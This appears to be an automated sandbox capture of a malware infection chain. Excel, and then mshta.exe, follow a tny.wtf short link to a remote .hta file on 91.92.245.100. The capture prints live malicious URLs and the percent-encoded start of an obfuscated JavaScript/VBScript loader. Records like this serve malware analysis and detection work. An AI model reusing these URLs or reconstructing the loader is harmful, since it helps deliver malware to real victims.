Jul 26, 2024 09:29:55.021058083 CEST	8.8.8.8	192.168.2.22	0xa9a0	No error (0)	tny.wtf	188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:29:57.717645884 CEST	8.8.8.8	192.168.2.22	0x8c0e	No error (0)	tny.wtf	188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:29:57.717645884 CEST	8.8.8.8	192.168.2.22	0x8c0e	No error (0)	tny.wtf	188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:30:15.595709085 CEST	8.8.8.8	192.168.2.22	0xa9e2	No error (0)	unifrieghtmovers.com	23.95.60.82	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:30:19.453432083 CEST	8.8.8.8	192.168.2.22	0x9556	No error (0)	geoplugin.net	178.237.33.50	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:30:19.462793112 CEST	8.8.8.8	192.168.2.22	0x9556	No error (0)	geoplugin.net	178.237.33.50	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:30:22.275839090 CEST	8.8.8.8	192.168.2.22	0x66c5	No error (0)	tny.wtf	188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:30:22.275839090 CEST	8.8.8.8	192.168.2.22	0x66c5	No error (0)	tny.wtf	188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

tny.wtf

91.92.245.100

107.173.143.46

geoplugin.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49163	188.114.96.3	80	2932	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 09:29:55.033576965 CEST	320	OUT	GET /jjJsPX HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: tny.wtf Connection: Keep-Alive
Jul 26, 2024 09:29:56.272893906 CEST	616	IN	HTTP/1.1 302 Found Date: Fri, 26 Jul 2024 07:29:56 GMT Transfer-Encoding: chunked Connection: keep-alive Location: http://91.92.245.100/xampp/ebcd/eb/gdfvr.hta X-Powered-By: ASP.NET CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Bg7cszHjDgHRB7KM09KMrNRM0pRG%2F7N3NZvkBibTw9cV7WTKbi%2Fp8kjBBO1o80Of6cz9G95iD9rEyg85EzxSAd8C%2Fiw3VtL%2BYPCCwhqlhr5p4XNPq%2F397dXL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a92ae71a8c38c60-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jul 26, 2024 09:30:19.708141088 CEST	320	OUT	GET /jjJsPX HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: tny.wtf Connection: Keep-Alive
Jul 26, 2024 09:30:21.398716927 CEST	614	IN	HTTP/1.1 302 Found Date: Fri, 26 Jul 2024 07:30:20 GMT Transfer-Encoding: chunked Connection: keep-alive Location: http://91.92.245.100/xampp/ebcd/eb/gdfvr.hta X-Powered-By: ASP.NET CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QuuErqwVX6V4c3bfte75Twfij9%2F8VWE4arrPWm%2B1ii9QP1sJ7ai67%2BGfLZjMqxQBduPf1SbGu03PcYha8DG1wmiMDhWb2ysWhyEEfxrYQbt%2FLd9YVbnaobeQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a92af0978f98c60-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jul 26, 2024 09:30:21.399399996 CEST	614	IN	HTTP/1.1 302 Found Date: Fri, 26 Jul 2024 07:30:20 GMT Transfer-Encoding: chunked Connection: keep-alive Location: http://91.92.245.100/xampp/ebcd/eb/gdfvr.hta X-Powered-By: ASP.NET CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QuuErqwVX6V4c3bfte75Twfij9%2F8VWE4arrPWm%2B1ii9QP1sJ7ai67%2BGfLZjMqxQBduPf1SbGu03PcYha8DG1wmiMDhWb2ysWhyEEfxrYQbt%2FLd9YVbnaobeQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a92af0978f98c60-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jul 26, 2024 09:30:21.400157928 CEST	614	IN	HTTP/1.1 302 Found Date: Fri, 26 Jul 2024 07:30:20 GMT Transfer-Encoding: chunked Connection: keep-alive Location: http://91.92.245.100/xampp/ebcd/eb/gdfvr.hta X-Powered-By: ASP.NET CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QuuErqwVX6V4c3bfte75Twfij9%2F8VWE4arrPWm%2B1ii9QP1sJ7ai67%2BGfLZjMqxQBduPf1SbGu03PcYha8DG1wmiMDhWb2ysWhyEEfxrYQbt%2FLd9YVbnaobeQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a92af0978f98c60-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jul 26, 2024 09:30:21.400612116 CEST	614	IN	HTTP/1.1 302 Found Date: Fri, 26 Jul 2024 07:30:20 GMT Transfer-Encoding: chunked Connection: keep-alive Location: http://91.92.245.100/xampp/ebcd/eb/gdfvr.hta X-Powered-By: ASP.NET CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QuuErqwVX6V4c3bfte75Twfij9%2F8VWE4arrPWm%2B1ii9QP1sJ7ai67%2BGfLZjMqxQBduPf1SbGu03PcYha8DG1wmiMDhWb2ysWhyEEfxrYQbt%2FLd9YVbnaobeQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a92af0978f98c60-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49164	91.92.245.100	80	2932	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 09:29:56.293190002 CEST	343	OUT	GET /xampp/ebcd/eb/gdfvr.hta HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 91.92.245.100 Connection: Keep-Alive
Jul 26, 2024 09:29:57.196281910 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 07:29:56 GMT Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28 Last-Modified: Thu, 25 Jul 2024 16:26:06 GMT ETag: "25ddd-61e14da080a28" Accept-Ranges: bytes Content-Length: 155101 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/hta Data Raw: 3c 53 63 72 69 70 74 20 4c 61 6e 67 75 61 67 65 3d 27 4a 61 76 61 73 63 72 69 70 74 27 3e 0d 0a 3c 21 2d 2d 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 75 6e 65 73 63 61 70 65 28 27 25 33 43 25 37 33 25 36 33 25 37 32 25 36 39 25 37 30 25 37 34 25 32 30 25 36 43 25 36 31 25 36 45 25 36 37 25 37 35 25 36 31 25 36 37 25 36 35 25 33 44 25 34 41 25 36 31 25 37 36 25 36 31 25 35 33 25 36 33 25 37 32 25 36 39 25 37 30 25 37 34 25 33 45 25 36 44 25 33 44 25 32 37 25 32 35 25 33 33 25 34 33 25 32 35 25 33 32 25 33 31 25 34 34 25 34 46 25 34 33 25 35 34 25 35 39 25 35 30 25 34 35 25 32 35 25 33 32 25 33 30 25 36 38 25 37 34 25 36 44 25 36 43 25 32 35 25 33 33 25 34 35 25 32 35 25 33 30 25 34 31 25 32 35 25 33 33 25 34 33 25 36 44 25 36 35 25 37 34 25 36 31 25 32 35 25 33 32 25 33 30 25 36 38 25 37 34 25 37 34 25 37 30 25 32 44 25 36 35 25 37 31 25 37 35 25 36 39 25 37 36 25 32 35 25 33 33 25 34 34 25 32 35 25 33 32 25 33 32 25 35 38 25 32 44 25 35 35 25 34 31 25 32 44 25 34 33 25 36 46 25 36 44 25 37 [TRUNCATED] Data Ascii: <Script Language='Javascript'>...document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%4A%61%76%61%53%63%72%69%70%74%3E%6D%3D%27%25%33%43%25%32%31%44%4F%43%54%59%50%45%25%32%30%68%74%6D%6C%25%33%45%25%30%41%25%33%43%6D%65%74%61%25%32%30%68%74%74%70%2D%65%71%75%69%76%25%33%44%25%32%32%58%2D%55%41%2D%43%6F%6D%70%61%74%69%62%6C%65%25%32%32%25%32%30%63%6F%6E%74%65%6E%74%25%33%44%25%32%32%49%45%25%33%44%45%6D%75%6C%61%74%65%49%45%38%25%32%32%25%32%30%25%33%45%25%30%41%25%33%43%68%74%6D%6C%25%33%45%25%30%41%25%33%43%62%6F%64%79%25%33%45%25%30%41%25%33%43%53%63%72%49%70%74%25%32%30%54%59%50%65%25%33%44%25%32%32%74%45%58%54%2F%76%42%73%63%52%69%50%74%25%32%32%25%33%45%25%30%41%64%49%4D%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25
Jul 26, 2024 09:29:57.196291924 CEST	1236	IN	Data Raw: 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 Data Ascii: %32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25
Jul 26, 2024 09:29:57.196296930 CEST	1236	IN	Data Raw: 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 Data Ascii: %30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32
Jul 26, 2024 09:29:57.196369886 CEST	1236	IN	Data Raw: 25 35 41 25 36 36 25 36 44 25 35 31 25 35 34 25 37 33 25 36 38 25 37 37 25 36 46 25 34 38 25 36 33 25 34 43 25 34 39 25 35 37 25 36 35 25 36 35 25 37 37 25 37 30 25 36 42 25 37 41 25 36 43 25 36 41 25 35 39 25 36 33 25 36 45 25 36 44 25 34 38 25 Data Ascii: %5A%66%6D%51%54%73%68%77%6F%48%63%4C%49%57%65%65%77%70%6B%7A%6C%6A%59%63%6E%6D%48%4E%66%62%44%41%48%6E%46%75%6C%69%68%67%68%6A%63%58%74%4B%62%41%78%76%6C%6B%4F%42%62%4A%57%7A%68%46%41%53%58%4A%61%77%65%54%64%4C%6A%59%53%78%64%72%51%42%63%57%49
Jul 26, 2024 09:29:57.196382999 CEST	1236	IN	Data Raw: 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 Data Ascii: %32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25
Jul 26, 2024 09:29:57.196400881 CEST	1236	IN	Data Raw: 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 Data Ascii: %30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32
Jul 26, 2024 09:29:57.196409941 CEST	1236	IN	Data Raw: 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 Data Ascii: %25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30
Jul 26, 2024 09:29:57.196422100 CEST	1236	IN	Data Raw: 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 Data Ascii: %32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25
Jul 26, 2024 09:29:57.196433067 CEST	1236	IN	Data Raw: 25 37 32 25 37 36 25 34 33 25 36 44 25 36 45 25 34 35 25 37 33 25 35 33 25 37 36 25 37 33 25 34 39 25 37 41 25 36 45 25 35 34 25 36 42 25 35 33 25 37 37 25 35 30 25 37 30 25 36 37 25 36 44 25 34 46 25 37 35 25 35 39 25 37 38 25 36 34 25 36 31 25 Data Ascii: %72%76%43%6D%6E%45%73%53%76%73%49%7A%6E%54%6B%53%77%50%70%67%6D%4F%75%59%78%64%61%57%70%42%53%59%4D%52%6C%6E%5A%57%46%72%6F%4B%48%76%53%59%6B%54%6D%49%51%6D%50%6F%70%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32
Jul 26, 2024 09:29:57.196439981 CEST	1236	IN	Data Raw: 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 Data Ascii: %25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30
Jul 26, 2024 09:29:57.201488972 CEST	1236	IN	Data Raw: 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 Data Ascii: %32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49165	188.114.96.3	80	3296	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 09:29:57.731762886 CEST	344	OUT	GET /jjJsPX HTTP/1.1 Accept: / Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: tny.wtf Connection: Keep-Alive
Jul 26, 2024 09:29:58.860368013 CEST	616	IN	HTTP/1.1 302 Found Date: Fri, 26 Jul 2024 07:29:58 GMT Transfer-Encoding: chunked Connection: keep-alive Location: http://91.92.245.100/xampp/ebcd/eb/gdfvr.hta X-Powered-By: ASP.NET CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LqIu%2FrL%2FRffzuybUVz1ozElaFAjJLK2%2FeU1lC7MBcOUQomv1migrRFZkuqg8nQwpd8jv%2F%2BtnQgtQ6uUqBiePgTHD3PJQXNH9N865lqTAjzu5F16mWng0MGGJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a92ae827ec14374-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49166	91.92.245.100	80	3296	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 09:29:58.880737066 CEST	420	OUT	GET /xampp/ebcd/eb/gdfvr.hta HTTP/1.1 Accept: / Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Range: bytes=8895- Connection: Keep-Alive Host: 91.92.245.100 If-Range: "25ddd-61e14da080a28"
Jul 26, 2024 09:29:59.517443895 CEST	1236	IN	HTTP/1.1 206 Partial Content Date: Fri, 26 Jul 2024 07:29:59 GMT Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28 Last-Modified: Thu, 25 Jul 2024 16:26:06 GMT ETag: "25ddd-61e14da080a28" Accept-Ranges: bytes Content-Length: 146206 Content-Range: bytes 8895-155100/155101 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/hta Data Raw: 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 [TRUNCATED] Data Ascii: %25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%6E%58%42%46%55%45%6D%4D%52%58%4E%45%75%6C%73%4F%58%71%67%4E%46%58%45%72%65%64%54%52%53%71%53%67%42%53%4C%6A%41%44%4E%4F%56%6E%72%72%45%70%69%6F%4A%76%52%76%68%51%45%45%49%79%70%4B%50%4C%4E%58%77%65%6C%68%6F%73%67%44%57%56%66%50%54%72%71%62%58%6A%54%75%59%64%4A%4F%45%64%76%4D%7A%6A%4F%4B%4E%6F%63%74%7A%66%52%42%4C%45%65%55%43%41%72%76%43%6D%6E%45%73%53%76%73%49%7A%6E%54%6B%53%77%50%70%67%6D%4F%75%59%78%64%61%57%70%42%53%59%4D%52%6C%6E%5A%57%46%72%6F%4B%48%76%53%59%6B%54%6D%49%51%6D%50%6F%70%25%32%30%25%32%30%25%32
Jul 26, 2024 09:29:59.517467022 CEST	1236	IN	Data Raw: 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 Data Ascii: %30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32
Jul 26, 2024 09:29:59.517477989 CEST	448	IN	Data Raw: 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 Data Ascii: %25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30
Jul 26, 2024 09:29:59.517498970 CEST	1236	IN	Data Raw: 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 Data Ascii: 30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%
Jul 26, 2024 09:29:59.517513037 CEST	1236	IN	Data Raw: 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 Data Ascii: 25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%
Jul 26, 2024 09:29:59.517524004 CEST	1236	IN	Data Raw: 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 Data Ascii: 32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%
Jul 26, 2024 09:29:59.517585039 CEST	1236	IN	Data Raw: 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 Data Ascii: 30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%
Jul 26, 2024 09:29:59.517596960 CEST	1236	IN	Data Raw: 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 Data Ascii: 25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%
Jul 26, 2024 09:29:59.517606020 CEST	1236	IN	Data Raw: 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 Data Ascii: 32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%5A%66%6D%51%54%73%68%77%6F%48%63%4C%49%57%65%65%77%70%6B%7A%6C%6A%59%63%6E%6D%48%4E%66%62%44%
